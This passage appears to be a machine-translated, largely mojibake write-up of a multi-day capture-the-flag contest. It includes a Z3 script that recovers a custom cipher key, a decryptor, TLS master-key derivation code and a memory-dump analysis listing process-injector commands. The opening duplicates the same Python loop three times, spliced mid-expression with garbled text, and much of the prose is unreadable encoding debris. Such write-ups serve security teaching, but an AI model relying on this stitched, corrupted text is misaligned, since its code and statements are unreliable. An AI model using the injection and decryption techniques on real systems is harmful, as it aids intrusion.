 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR , рд░рд╛рдЬреНрдп, dh_p) for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR + рдмреАрдЬ, hashlib.sha256) .digest () for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

рдбреА) рд╡рд┐рднрд┐рдиреНрди рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд░реИрдВрдбрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ..., рд╡рд┐рдВрдбрд╕рд░рдХ рд╕рддреНрд░реЛрдВ рд╕реЗ, рд╕реАрдПрд╕рд╡реА рдХреЛ рдирд┐рд░реНрдпрд╛рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рд╕реАрдПрд╕рд╡реА рдореЗрдВ "" ... рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛ рдорд┐рд▓рд╛, рдЙрд╕рдХреЗ рд▓рд┐рдП рдХрдЪреНрдЪреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдореЗрдВ рдЦреЛрдЬ рдХреАред


рдИ) 4264 рд╕рддреНрд░реЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд╛рдпрд░рд╢рд░реНрдХ рдиреЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ рдЧреАрдЧрд╛рдмрд╛рдЗрдЯ рдСрдкрд░реЗрдЯрд┐рд╡ рдЦрд╛рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ (8 рдЙрд╕рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рдерд╛), рд▓реЗрдХрд┐рди рдХреБрдЫ рднреА рдирд╣реАрдВ, рдЖрдк рдПрдХ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд╕рдм рдХреБрдЫ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдПрдХ рдХрдордЬреЛрд░ рд▓реИрдкрдЯреЙрдк рдкрд░ рдирд╣реАрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЬрдм http рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ (рдХрд┐рд╕реА рдЪрд┐рддреНрд░ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреБрдХрдбрд╝реЗ) рдХреЛ рдирд┐рд░реНрдпрд╛рдд рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╡рд╛рдпрд░рд╢рд░реНрдХ рдХреЗрд╡рд▓ рдкрд╣рд▓реА 1000 рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдмрдЪрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред рдирддреАрдЬрддрди, рдпрд╣ 5 рднрд╛рдЧреЛрдВ рдкреНрд░рддреНрдпреЗрдХ рдореЗрдВ 1000 рдЯреАрд╕реАрдкреА-рд╕рддреНрд░ рдореЗрдВ PCAP рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд░реВрд░реА рд╣реЛ рдЧрдпрд╛ рдерд╛ред рдкрд░рд┐рдгрд╛рдо рд╕рднреА рдЯреБрдХрдбрд╝реЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рдмрд╛рдж рдЗрддрдиреА рд╕реБрдВрджрд░ рддрд╕реНрд╡реАрд░ рдереА:



рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдЬреЗрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╛рдЗрд▓реЗрдВ рдпрд╣рд╛рдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ ред


рджрд┐рди 5. рд╕рдВрд░рдХреНрд╖рд┐рдд рд╢реЗрд▓


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди2 рдЬрдЧрд╣рддреАрд╕рд░рд╛ рд╕реНрдерд╛рди
рдЖрдк рдРрд╕рд╛BartimaeousCLO
рдпрд╣ рднреА рддрдп рдХрд┐рдпрд╛: рдореИрдХреНрд╕рд┐рдо рдкреНрд░реЛрд╡рд┐рди, 0x3c3e, рдЯрд┐рдВрдХрд░рд▓реЙрдХ, рдбреЗрдорд┐рдбреЛрд╡_рд▓, рдПрдХреНрд╕ @ рд╕реЗрдХрдЯрд░, groke_in_the_sky, d3fl4t3

RuCTFE рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдЯрд╛рд╕реНрдХред рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдХрдИ рдбрд┐рдмрдЧрд┐рдВрдЧ рддрдХрдиреАрдХреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рджреА рдЧрдИ рдереАред рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдПрдХ рдПрд╕рдПрд╕рдПрдЪ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рддрд░рд╣ рд╣реИ рдЬреЛ рдкрд╣рд▓реЗ рд╕реЗ рдЬреНрдЮрд╛рдд рд╕рд░реНрд╡рд░ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИред рдХрд╛рд░реНрдп рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ рдХрдорд╛рдВрдб рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реЛ рд╕рдХреЗред рд▓реЗрдЦрдХ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдбрд┐рдмрдЧрд┐рдВрдЧ рд╡рд┐рд░реЛрдзреА рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдирд╛ рдФрд░ рдЖрдХреНрд╖реЗрдк рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред


рдпрд╣ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╣реИ рдХрд┐ рд╕рдмрд╕реЗ рддреЗрдЬ рдкреНрд░рддрд┐рднрд╛рдЧреА рдиреЗ рд▓реЗрдЦрдХ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпреЛрдЬрд┐рдд рдПрдХ рд╕реЗ рдЕрд▓рдЧ рдореВрд▓ рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд┐рдпрд╛, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдЙрд╕реЗ рдПрдХ рдФрд░ рд╕рдорд╛рдзрд╛рди рдорд┐рд▓рд╛ред рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЙрд╕рдиреЗ рдиреАрдЪреЗ рд╕реНрдкреЙрдЗрд▓рд░ рдХреЗ рдиреАрдЪреЗ рдХреИрд╕реЗ рдХрд┐рдпрд╛ред


рдкрд╛рдВрдЪрд╡рд╛рдВ рджрд┐рди рдХрд╛рд░реНрдп рд╕рдорд╛рдзрд╛рди рд╡рд┐рдХрд▓реНрдк (vos)


рджрд┐рди 6. UNLOCK


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рдирджреВрд╕рд░рд╛ рд╕реНрдерд╛рдирддреАрд╕рд░рд╛ рд╕реНрдерд╛рди
gotdaswagmedidrdridersysenter

рдЫрдареЗ рджрд┐рди рдХрд╛ рдХрд╛рд░реНрдпрд╡реГрддреНрдд VolgaCTF рдЯреАрдо рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП рдЬреЛ рдПрдХ рдХрд╕реНрдЯрдо рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред рдХрд╛рд░реНрдп рд╕реНрдерд┐рддрд┐ рдореЗрдВ рджреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдирд╛ рд╣реИ, рдПрдХ рдЬреНрдЮрд╛рдд рдХреБрдВрдЬреА рдХреЗ рдмрд┐рдирд╛, рдЗрд╕ рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред


рдЫрдареЗ рджрд┐рди рдХрд╛ рдХрд╛рд░реНрдп рд╕рдорд╛рдзрд╛рди (рдЧреЗрдЯрд╕реНрд╡рд╛рдЧ)

рдкрд░рд┐рдЪрдп


рджрд╛рди рджреЛ рдлрд╝рд╛рдЗрд▓реЛрдВ рд▓реЙрдХрд░ рдФрд░ secret.png.enc рд╕рд╛рде рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░реЗрдВред


рдкрд╣рд▓реА рдлрд╝рд╛рдЗрд▓ рд▓рд┐рдирдХреНрд╕ x86-64 рдХреЗ рд▓рд┐рдП рдПрдХ рдИрдПрд▓рдПрдл рд╣реИ , рдЬреЛ рдЗрдирдкреБрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдФрд░ рдПрдХ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ рдПрдХ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдкреАрдПрдирдЬреА рдЫрд╡рд┐ рд╣реИред


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

рд▓реЙрдХрд░


рдЖрдИрдбреАрдП рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдкрд░рд┐рдпреЛрдЬрдирд╛ :: рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдкрд╛рддреЗ рд╣реИрдВред



рдЗрд╕рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рд╕рдордЭрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдПрдХ рдмреНрд▓реЙрдХ рд╕рд┐рдлрд░ (рдИрд╕реАрдмреА) рд╣реИ, рдЬрд┐рд╕рдореЗрдВ 32 рдмрд┐рдЯреНрд╕ рдХрд╛ рдмреНрд▓реЙрдХ рдЖрдХрд╛рд░, 64 рдмрд┐рдЯреНрд╕ рдХрд╛ рдПрдХ рдХреБрдВрдЬреА рдЖрдХрд╛рд░ рдФрд░ 77 рдХреЗ рд░рд╛рдЙрдВрдб рдХреА рд╕рдВрдЦреНрдпрд╛ рд╣реИред


рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

рдЧреБрдкреНрдд рдХреБрдВрдЬреА


рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдПрдХ PNG рдЫрд╡рд┐ рд╣реИред
рддрджрдиреБрд╕рд╛рд░, рд╣рдо рдлрд╝рд╛рдЗрд▓ рд╣реЗрдбрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рд╕рд┐рдлрд░рдЯреЗрдХреНрдЯ рдХреЗ рдПрдХ рдЬреЛрдбрд╝реЗ рдХреЛ рдЬрд╛рдирддреЗ рд╣реИрдВ (рдпрд╣ рдкреАрдПрдирдЬреА рдХреЗ рд▓рд┐рдП рдорд╛рдирдХ рд╣реИ)ред


рдЖрдЗрдП рд╕рд░рд▓ рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╢реНрд░реАрдорддреА рд╕реЙрд▓реНрд╡рд░ ( рдЬреЗрдб 3 ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЛрдб рдХреЛ рдереЛрдбрд╝рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрдирдкреБрдЯ рдХреЛ рдПрдХ рдЬреЛрдбрд╝реА рд╕рд╛рджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдореЗрдВ рдЬрдорд╛ рдХрд░реЗрдВред


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

рд╕рдорд╛рдзрд╛рди:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

Unlocker


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

рджрд┐рди 7. рдмреАрдк рдмреАрдк!


рд╡рд┐рдЬреЗрддрд╛рдУрдВ
рдкрд╣рд▓рд╛ рд╕реНрдерд╛рди
sysenter

рд╕реНрдХреВрд▓ рд╣реИрдХ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рдЕрдВрддрд┐рдо рд╣реИрдХ рдЦреЛрдЬ ред рдкреНрд░рддрд┐рднрд╛рдЧрд┐рдпреЛрдВ рдХреЛ рдПрдХ рдореЗрдореЛрд░реА рдбрдВрдк рдкрд╛рд░реНрд╕ рдХрд░рдирд╛ рдерд╛ рдЬрд┐рд╕рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реНрдерд┐рдд рдерд╛ред рдЗрд╕ рддрдереНрдп рд╕реЗ рдЬрдЯрд┐рд▓ рд╣реИ рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдХрдИ рднрд╛рдЧреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред


рд╕рд╛рддрд╡реЗрдВ рджрд┐рди рдХреЗ рдХрд╛рд░реНрдп рдХрд╛ рдирд┐рд░реНрдгрдп

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 